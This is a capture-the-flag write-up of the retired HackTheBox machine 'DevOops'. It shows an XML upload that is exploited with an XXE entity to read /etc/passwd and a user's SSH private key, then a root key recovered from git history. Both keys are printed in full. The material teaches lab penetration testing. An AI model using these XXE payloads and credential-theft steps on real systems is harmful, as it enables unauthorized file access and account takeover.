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HacktheBox - DevOops - Retired

HacktheBox - DevOops - Retired


Recon


Let's use threader3000 for our recon scan. It's a threaded scanner written in python that does a super quick up/down scan on all TCP ports, then suggests a nmap scan based on the results. It will automatically save the nmap scan results as XML, then we can convert it to HTML


xsltproc ./devops.htb/devops.htb.xml -o ./devops.html




Just two ports open



Port Service Version
22 OpenSSH 7.2p2
5000 Gunicorn 19.7.1



What is Gunicorn?


https://gunicorn.org/


"Gunicorn 'Green Unicorn' is a Python WSGI HTTP Server for UNIX. It's a pre-fork worker model. The Gunicorn server is broadly compatible with various web frameworks, simply implemented, light on server resources, and fairly speedy"






There is just some text at the top and a picture of another website….


Let's brute force this and see if we can find any other interesting things to look at on this web server.




-----------------
DIRB v2.22   
By The Dark Raver
-----------------

START_TIME: Fri Nov  6 11:43:26 2020
URL_BASE: http://devops.htb:5000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                         

---- Scanning URL: http://devops.htb:5000/ ----
+ http://devops.htb:5000/feed (CODE:200|SIZE:546263)                                                                                                                  
+ http://devops.htb:5000/upload (CODE:200|SIZE:347)                                                                                                                   
                                                                                                                                                                     
-----------------
END_TIME: Fri Nov  6 11:55:00 2020
DOWNLOADED: 4612 - FOUND: 2






Upload huh?  I


love uploads. Let's check it out.








Here it talks about XML elements, so it looks like it wants an XML file uploaded

Let's try to upload an XML file. Let's just use the output of our threader 3000 scan to see what happens.





Internal Server Error


If we try to upload other file types like PHP, we don't get this error. We simply are sent back to the upload screen…. Ok so it looks like we need to abuse this with XML somehow












Exploit




XXE

https://portswigger.net/web-security/xxe


We know from the instructions on the upload page that there are 3 elements


XML elements: Author, Subject, Content


So Let's just create a test xml with these three elements.


Here is an example on what an XML file might look like


https://www.w3schools.com/xml/

<?xml version="1.0" encoding="UTF-8"?>
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>



So let's just change it to use the three elements that we know it needs.


<?xml version="1.0" encoding="UTF-8"?>
<Author>
  <Subject>Tove</Subject>
  <Content>Jani</Content>
</Author>




And let's save this as test.xml and try to upload it using the upload function.



PROCESSED BLOGPOST: Author: Jani Subject: Tove Content: Jani URL for later reference: /uploads/test.xml File path: /home/roosa/deploy/src




It says we can find it at http://devops.htb:5000/uploads/test.xml, Let's see





Ok so we know what the xml file needs to look like to get uploaded.


Let's take a look at this site which gives us a method for getting /etc/passwd


netsparker.com/blog/web-security/xxe-xml-external-entity-attacks/


We need to add


<!DOCTYPE foo [
    <!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>


Near the top of the XML and then call our XXE inside of a one of the XML Elements so our whole modified XML would look like.


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<Author>
  <Subject>Tove</Subject>
  <Content>Jani &xxe;</Content>
</Author>



And hopefully we we upload this we can get the output of /etc/passwd




Score we did!!!



Now let's capture this in burp so we can start poking around for other interesting files we might have access to.


After we capture the POST let's send it over to repeater.

So we should now have something similar to this.






Let's send it just to make sure it's still working like we expect.




Ok we did get /etc/passwd just like before




root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
osboxes:x:1000:1000:osboxes.org,,,:/home/osboxes:/bin/false
git:x:1001:1001:git,,,:/home/git:/bin/bash
roosa:x:1002:1002:,,,:/home/roosa:/bin/bash
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
blogfeed:x:1003:1003:,,,:/home/blogfeed:/bin/false






So from here we can see a couple of users that aren't default…


Osboxes, git, roosa,blogfeed.


Didn't we see that roosa one before in our first XML successful upload?


PROCESSED BLOGPOST: Author: Jani Subject: Tove Content: Jani URL for later reference: /uploads/test.xml File path: /home/roosa/deploy/src



We did its says the file path was /home/roosa/deploy/src.


We can now just kinda poke around and see if we can get some more info using our XML


If we edit the burp POST we have captured in repeater and change the file to


file:///home/roosa/user.txt



To see if we can get user.txt out of roosa's home directory.







We did get the user.txt file. I wonder if we can check for a SSH key that we might be able to steal to login as roosa.


The default name and location for a ssh key is /home/*username*/.ssh/id_rsa


So let's update our file read to that file, in that location for roosa.


file:///home/roosa/.ssh/id_rsa



And send that in repeater.

HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Fri, 06 Nov 2020 19:21:05 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 3503

PROCESSED BLOGPOST:
  Author: Jani -----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAuMMt4qh/ib86xJBLmzePl6/5ZRNJkUj/Xuv1+d6nccTffb/7
9sIXha2h4a4fp18F53jdx3PqEO7HAXlszAlBvGdg63i+LxWmu8p5BrTmEPl+cQ4J
R/R+exNggHuqsp8rrcHq96lbXtORy8SOliUjfspPsWfY7JbktKyaQK0JunR25jVk
v5YhGVeyaTNmSNPTlpZCVGVAp1RotWdc/0ex7qznq45wLb2tZFGE0xmYTeXgoaX4
9QIQQnoi6DP3+7ErQSd6QGTq5mCvszpnTUsmwFj5JRdhjGszt0zBGllsVn99O90K
m3pN8SN1yWCTal6FLUiuxXg99YSV0tEl0rfSUwIDAQABAoIBAB6rj69jZyB3lQrS
JSrT80sr1At6QykR5ApewwtCcatKEgtu1iWlHIB9TTUIUYrYFEPTZYVZcY50BKbz
ACNyme3rf0Q3W+K3BmF//80kNFi3Ac1EljfSlzhZBBjv7msOTxLd8OJBw8AfAMHB
lCXKbnT6onYBlhnYBokTadu4nbfMm0ddJo5y32NaskFTAdAG882WkK5V5iszsE/3
koarlmzP1M0KPyaVrID3vgAvuJo3P6ynOoXlmn/oncZZdtwmhEjC23XALItW+lh7
e7ZKcMoH4J2W8OsbRXVF9YLSZz/AgHFI5XWp7V0Fyh2hp7UMe4dY0e1WKQn0wRKe
8oa9wQkCgYEA2tpna+vm3yIwu4ee12x2GhU7lsw58dcXXfn3pGLW7vQr5XcSVoqJ
Lk6u5T6VpcQTBCuM9+voiWDX0FUWE97obj8TYwL2vu2wk3ZJn00U83YQ4p9+tno6
NipeFs5ggIBQDU1k1nrBY10TpuyDgZL+2vxpfz1SdaHgHFgZDWjaEtUCgYEA2B93
hNNeXCaXAeS6NJHAxeTKOhapqRoJbNHjZAhsmCRENk6UhXyYCGxX40g7i7T15vt0
ESzdXu+uAG0/s3VNEdU5VggLu3RzpD1ePt03eBvimsgnciWlw6xuZlG3UEQJW8sk
A3+XsGjUpXv9TMt8XBf3muESRBmeVQUnp7RiVIcCgYBo9BZm7hGg7l+af1aQjuYw
agBSuAwNy43cNpUpU3Ep1RT8DVdRA0z4VSmQrKvNfDN2a4BGIO86eqPkt/lHfD3R
KRSeBfzY4VotzatO5wNmIjfExqJY1lL2SOkoXL5wwZgiWPxD00jM4wUapxAF4r2v
vR7Gs1zJJuE4FpOlF6SFJQKBgHbHBHa5e9iFVOSzgiq2GA4qqYG3RtMq/hcSWzh0
8MnE1MBL+5BJY3ztnnfJEQC9GZAyjh2KXLd6XlTZtfK4+vxcBUDk9x206IFRQOSn
y351RNrwOc2gJzQdJieRrX+thL8wK8DIdON9GbFBLXrxMo2ilnBGVjWbJstvI9Yl
aw0tAoGAGkndihmC5PayKdR1PYhdlVIsfEaDIgemK3/XxvnaUUcuWi2RhX3AlowG
xgQt1LOdApYoosALYta1JPen+65V02Fy5NgtoijLzvmNSz+rpRHGK6E8u3ihmmaq
82W3d4vCUPkKnrgG8F7s3GL6cqWcbZBd0j9u88fUWfPxfRaQU3s=
-----END RSA PRIVATE KEY-----


Woot we got roosa's private key let's save that out to a file named id_rsa on our kali box.


We will need to restrict the rights on the file or else SSH will yell at us.


chmod 600 ./id_rsa 


Now we should be able to connect up using ssh


ssh -i ./id_rsa roosa@devops.htb



And we are in as roosa, congratulations!!




On hackthebox it's always a good idea to check out all the files and folders around where you land with your shell.


Immediately we can see a couple of folder that are interesting.


Deploy and work chief among them…. 


Let's look in work.


roosa@gitter:~/work$ ls -al
total 12
drwxrwxr-x  3 roosa roosa 4096 Mar 21  2018 .
drwxr-xr-x 22 roosa roosa 4096 May 29  2018 ..
drwxrwx---  5 roosa roosa 4096 Mar 21  2018 blogfeed



Just one folder named blogfeed let's check it out.


roosa@gitter:~/work/blogfeed$ ls -al
total 28
drwxrwx--- 5 roosa roosa 4096 Mar 21  2018 .
drwxrwxr-x 3 roosa roosa 4096 Mar 21  2018 ..
drwxrwx--- 8 roosa roosa 4096 Mar 26  2018 .git
-rw-rw---- 1 roosa roosa  104 Mar 19  2018 README.md
drwxrwx--- 3 roosa roosa 4096 Mar 19  2018 resources
-rwxrw-r-- 1 roosa roosa  180 Mar 21  2018 run-gunicorn.sh
drwxrwx--- 2 roosa roosa 4096 Mar 26  2018 src


A .git folder?


That could be interesting sometimes when people push to git they accidentally leak some interesting things they probably shouldn't


If you are unfamiliar with what to look for when you see .git folders just google "pentest git" and you will find some great resources of things to check out.


If we run


git log



We can see this in the log..




commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Mon Mar 19 09:33:06 2018 -0400

    reverted accidental commit with proper key

Reverted accidental commit with proper key huh? Could they have accidentally put the wrong key in the commit and the great thing about git…. It's all there even if they change it, it keeps the accidental exposure they did originally



We just need to do git show with the commit hash to see what changed there.


git show 33e87c312c08735a02fa9c796021a4a3023129ad



And our response shows


ommit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson <roosa@solita.fi>
Date:   Mon Mar 19 09:33:06 2018 -0400

    reverted accidental commit with proper key

diff --git a/resources/integration/authcredentials.key b/resources/integration/authcredentials.key
index 44c981f..f4bde49 100644
--- a/resources/integration/authcredentials.key
+++ b/resources/integration/authcredentials.key
@@ -1,28 +1,27 @@
-----BEGIN RSA PRIVATE KEY-----
-MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde
-8PDgpt/tBpY7a/xt3sP5rD7JEuvnpWRLteqKZ8hlCvt+4oP7DqWXoo/hfaUUyU5i
-vr+5Ui0nD+YBKyYuiN+4CB8jSQvwOG+LlA3IGAzVf56J0WP9FILH/NwYW2iovTRK
-nz1y2vdO3ug94XX8y0bbMR9Mtpj292wNrxmUSQ5glioqrSrwFfevWt/rEgIVmrb+
-CCjeERnxMwaZNFP0SYoiC5HweyXD6ZLgFO4uOVuImILGJyyQJ8u5BI2mc/SHSE0c
-F9DmYwbVqRcurk3yAS+jEbXgObupXkDHgIoMCwIDAQABAoIBAFaUuHIKVT+UK2oH
-uzjPbIdyEkDc3PAYP+E/jdqy2eFdofJKDocOf9BDhxKlmO968PxoBe25jjjt0AAL
-gCfN5I+xZGH19V4HPMCrK6PzskYII3/i4K7FEHMn8ZgDZpj7U69Iz2l9xa4lyzeD
-k2X0256DbRv/ZYaWPhX+fGw3dCMWkRs6MoBNVS4wAMmOCiFl3hzHlgIemLMm6QSy
-NnTtLPXwkS84KMfZGbnolAiZbHAqhe5cRfV2CVw2U8GaIS3fqV3ioD0qqQjIIPNM
-HSRik2J/7Y7OuBRQN+auzFKV7QeLFeROJsLhLaPhstY5QQReQr9oIuTAs9c+oCLa
-2fXe3kkCgYEA367aoOTisun9UJ7ObgNZTDPeaXajhWrZbxlSsOeOBp5CK/oLc0RB
-GLEKU6HtUuKFvlXdJ22S4/rQb0RiDcU/wOiDzmlCTQJrnLgqzBwNXp+MH6Av9WHG
-jwrjv/loHYF0vXUHHRVJmcXzsftZk2aJ29TXud5UMqHovyieb3mZ0pcCgYEAxR41
-IMq2dif3laGnQuYrjQVNFfvwDt1JD1mKNG8OppwTgcPbFO+R3+MqL7lvAhHjWKMw
-+XjmkQEZbnmwf1fKuIHW9uD9KxxHqgucNv9ySuMtVPp/QYtjn/ltojR16JNTKqiW
-7vSqlsZnT9jR2syvuhhVz4Ei9yA/VYZG2uiCpK0CgYA/UOhz+LYu/MsGoh0+yNXj
-Gx+O7NU2s9sedqWQi8sJFo0Wk63gD+b5TUvmBoT+HD7NdNKoEX0t6VZM2KeEzFvS
-iD6fE+5/i/rYHs2Gfz5NlY39ecN5ixbAcM2tDrUo/PcFlfXQhrERxRXJQKPHdJP7
-VRFHfKaKuof+bEoEtgATuwKBgC3Ce3bnWEBJuvIjmt6u7EFKj8CgwfPRbxp/INRX
-S8Flzil7vCo6C1U8ORjnJVwHpw12pPHlHTFgXfUFjvGhAdCfY7XgOSV+5SwWkec6
-md/EqUtm84/VugTzNH5JS234dYAbrx498jQaTvV8UgtHJSxAZftL8UAJXmqOR3ie
-LWXpAoGADMbq4aFzQuUPldxr3thx0KRz9LJUJfrpADAUbxo8zVvbwt4gM2vsXwcz
-oAvexd1JRMkbC7YOgrzZ9iOxHP+mg/LLENmHimcyKCqaY3XzqXqk9lOhA3ymOcLw
-LS4O7JPRqVmgZzUUnDiAVuUHWuHGGXpWpz9EGau6dIbQaUUSOEE=


With this part listed in a different color below


This part is in green the above was in red..

+MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN
+ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE
+23g18kmkjmzWQ2AjDeC0EyWH3k4iRnABruBHs8+fssjW5sSxze74d7Ez3uOI9zPE
+sQ26ynmLutnd/MpyxFjCigP02McCBrNLaclcbEgBgEn9v+KBtUkfgMgt5CNLfV8s
+ukQs4gdHPeSj7kDpgHkRyCt+YAqvs3XkrgMDh3qI9tCPfs8jHUvuRHyGdMnqzI16
+ZBlx4UG0bdxtoE8DLjfoJuWGfCF/dTAFLHK3mwIDAQABAoIBADelrnV9vRudwN+h
+LZ++l7GBlge4YUAx8lkipUKHauTL5S2nDZ8O7ahejb+dSpcZYTPM94tLmGt1C2bO
+JqlpPjstMu9YtIhAfYF522ZqjRaP82YIekpaFujg9FxkhKiKHFms/2KppubiHDi9
+oKL7XLUpSnSrWQyMGQx/Vl59V2ZHNsBxptZ+qQYavc7bGP3h4HoRurrPiVlmPwXM
+xL8NWx4knCZEC+YId8cAqyJ2EC4RoAr7tQ3xb46jC24Gc/YFkI9b7WCKpFgiszhw
+vFvkYQDuIvzsIyunqe3YR0v8TKEfWKtm8T9iyb2yXTa+b/U3I9We1P+0nbfjYX8x
+6umhQuECgYEA0fvp8m2KKJkkigDCsaCpP5dWPijukHV+CLBldcmrvUxRTIa8o4e+
+OWOMW1JPEtDTj7kDpikekvHBPACBd5fYnqYnxPv+6pfyh3H5SuLhu9PPA36MjRyE
+4+tDgPvXsfQqAKLF3crG9yKVUqw2G8FFo7dqLp3cDxCs5sk6Gq/lAesCgYEAyiS0
+937GI+GDtBZ4bjylz4L5IHO55WI7CYPKrgUeKqi8ovKLDsBEboBbqRWcHr182E94
+SQMoKu++K1nbly2YS+mv4bOanSFdc6bT/SAHKdImo8buqM0IhrYTNvArN/Puv4VT
+Nszh8L9BDEc/DOQQQzsKiwIHab/rKJHZeA6cBRECgYEAgLg6CwAXBxgJjAc3Uge4
+eGDe3y/cPfWoEs9/AptjiaD03UJi9KPLegaKDZkBG/mjFqFFmV/vfAhyecOdmaAd
+i/Mywc/vzgLjCyBUvxEhazBF4FB8/CuVUtnvAWxgJpgT/1vIi1M4cFpkys8CRDVP
+6TIQBw+BzEJemwKTebSFX40CgYEAtZt61iwYWV4fFCln8yobka5KoeQ2rCWvgqHb
+8rH4Yz0LlJ2xXwRPtrMtJmCazWdSBYiIOZhTexe+03W8ejrla7Y8ZNsWWnsCWYgV
+RoGCzgjW3Cc6fX8PXO+xnZbyTSejZH+kvkQd7Uv2ZdCQjcVL8wrVMwQUouZgoCdA
+qML/WvECgYEAyNoevgP+tJqDtrxGmLK2hwuoY11ZIgxHUj9YkikwuZQOmFk3EffI
+T3Sd/6nWVzi1FO16KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6jiOog
+bU34EzQLp7oRU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0=
-----END RSA PRIVATE KEY-----

-


So it looks like the second part is a the part that over wrote the part in red… and if this looks familiar, its because its the ssh key we found earlier for roosa….. So either they changed their key or they accidently uploaded the wrong one… like maybe the root ssh key?


Let's save the red part out with the 


You'lll need to remove the appended minus sign on the lines. The finished product should look like this.


-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde
8PDgpt/tBpY7a/xt3sP5rD7JEuvnpWRLteqKZ8hlCvt+4oP7DqWXoo/hfaUUyU5i
vr+5Ui0nD+YBKyYuiN+4CB8jSQvwOG+LlA3IGAzVf56J0WP9FILH/NwYW2iovTRK
nz1y2vdO3ug94XX8y0bbMR9Mtpj292wNrxmUSQ5glioqrSrwFfevWt/rEgIVmrb+
CCjeERnxMwaZNFP0SYoiC5HweyXD6ZLgFO4uOVuImILGJyyQJ8u5BI2mc/SHSE0c
F9DmYwbVqRcurk3yAS+jEbXgObupXkDHgIoMCwIDAQABAoIBAFaUuHIKVT+UK2oH
uzjPbIdyEkDc3PAYP+E/jdqy2eFdofJKDocOf9BDhxKlmO968PxoBe25jjjt0AAL
gCfN5I+xZGH19V4HPMCrK6PzskYII3/i4K7FEHMn8ZgDZpj7U69Iz2l9xa4lyzeD
k2X0256DbRv/ZYaWPhX+fGw3dCMWkRs6MoBNVS4wAMmOCiFl3hzHlgIemLMm6QSy
NnTtLPXwkS84KMfZGbnolAiZbHAqhe5cRfV2CVw2U8GaIS3fqV3ioD0qqQjIIPNM
HSRik2J/7Y7OuBRQN+auzFKV7QeLFeROJsLhLaPhstY5QQReQr9oIuTAs9c+oCLa
2fXe3kkCgYEA367aoOTisun9UJ7ObgNZTDPeaXajhWrZbxlSsOeOBp5CK/oLc0RB
GLEKU6HtUuKFvlXdJ22S4/rQb0RiDcU/wOiDzmlCTQJrnLgqzBwNXp+MH6Av9WHG
jwrjv/loHYF0vXUHHRVJmcXzsftZk2aJ29TXud5UMqHovyieb3mZ0pcCgYEAxR41
IMq2dif3laGnQuYrjQVNFfvwDt1JD1mKNG8OppwTgcPbFO+R3+MqL7lvAhHjWKMw
+XjmkQEZbnmwf1fKuIHW9uD9KxxHqgucNv9ySuMtVPp/QYtjn/ltojR16JNTKqiW
7vSqlsZnT9jR2syvuhhVz4Ei9yA/VYZG2uiCpK0CgYA/UOhz+LYu/MsGoh0+yNXj
Gx+O7NU2s9sedqWQi8sJFo0Wk63gD+b5TUvmBoT+HD7NdNKoEX0t6VZM2KeEzFvS
iD6fE+5/i/rYHs2Gfz5NlY39ecN5ixbAcM2tDrUo/PcFlfXQhrERxRXJQKPHdJP7
VRFHfKaKuof+bEoEtgATuwKBgC3Ce3bnWEBJuvIjmt6u7EFKj8CgwfPRbxp/INRX
S8Flzil7vCo6C1U8ORjnJVwHpw12pPHlHTFgXfUFjvGhAdCfY7XgOSV+5SwWkec6
md/EqUtm84/VugTzNH5JS234dYAbrx498jQaTvV8UgtHJSxAZftL8UAJXmqOR3ie
LWXpAoGADMbq4aFzQuUPldxr3thx0KRz9LJUJfrpADAUbxo8zVvbwt4gM2vsXwcz
oAvexd1JRMkbC7YOgrzZ9iOxHP+mg/LLENmHimcyKCqaY3XzqXqk9lOhA3ymOcLw
LS4O7JPRqVmgZzUUnDiAVuUHWuHGGXpWpz9EGau6dIbQaUUSOEE=
-----END RSA PRIVATE KEY-----



Let's save it as id_rsa2


And change the permissions on it to be less open just like we did before.


chmod 600 ./id_rsa2



Now let's try to ssh in as root with this key.


ssh -i ./id_rsa2 root@devops.htb




And we are in as root. All we need to do is grab that root.txt flag now.








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